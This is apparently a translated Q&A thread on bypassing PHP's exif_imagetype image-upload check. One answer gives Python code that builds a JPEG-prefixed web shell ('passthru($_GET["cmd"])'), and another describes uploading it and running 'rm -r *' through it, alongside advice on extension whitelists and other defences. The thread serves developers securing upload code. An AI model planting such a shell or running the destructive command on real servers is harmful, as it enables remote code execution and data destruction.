如何绕过exif_imagetype函数上传php代码?

Vi *_*Vek 5 php file-upload

我读到exif_imagetype是安全函数,以避免上传php或其他shell代码而不是图像文件.最近我读了另一篇文章,我们可以通过一些简单的方法绕过这个安全功能.因此,如果有人知道绕过的确切方法,你可以分享你的答案.

我在我的PHP脚本中使用了以下代码,所以我想知道这是否容易受到攻击并为此做出补救

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }
Run Code Online (Sandbox Code Playgroud)

Sol*_*dak 8

基于@ jake_the_snake先生的回答,我还将在Python中包含一个快速代码示例

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
Run Code Online (Sandbox Code Playgroud)


小智 6

仅运行exif_imagetype有点复杂。该功能仅检查文件开头的幻数,因此需要进行更多检查。在没有更多软件知识的情况下,很难做出判断,但是请考虑以下示例:

我使用JPEG魔术数字0xFFD8FFE0和字符串构造“ shell.php” <? passthru($_GET["cmd"]); ?>

我将其上传到您的服务器。魔术数字绕开exif_imagetype。该文件已上传到www.your-domain.com/uploads/shell.php。然后,我导航到www.your-domain.com/uploads/shell.php?rm -r *。服务器找到起点<?并开始解释PHP。好极了!假设您正在Linux网络服务器上运行,我已经删除了所有上传内容。

即使对图像的有效性进行更深入的检查也无济于事,因为我可以将恶意脚本包含在图像的元数据中。这只能通过使用文件扩展名白名单来防止。

[TL; DR]如果不进行更多检查,这是不安全的。您需要确保使用适当的文件名,使用文件扩展名白名单,限制文件大小并执行标准的安全措施。


M-A*_*A-X -5

为了安全起见,我使用

$extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);

if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif')))
{
    echo "File is not an image";
}
Run Code Online (Sandbox Code Playgroud)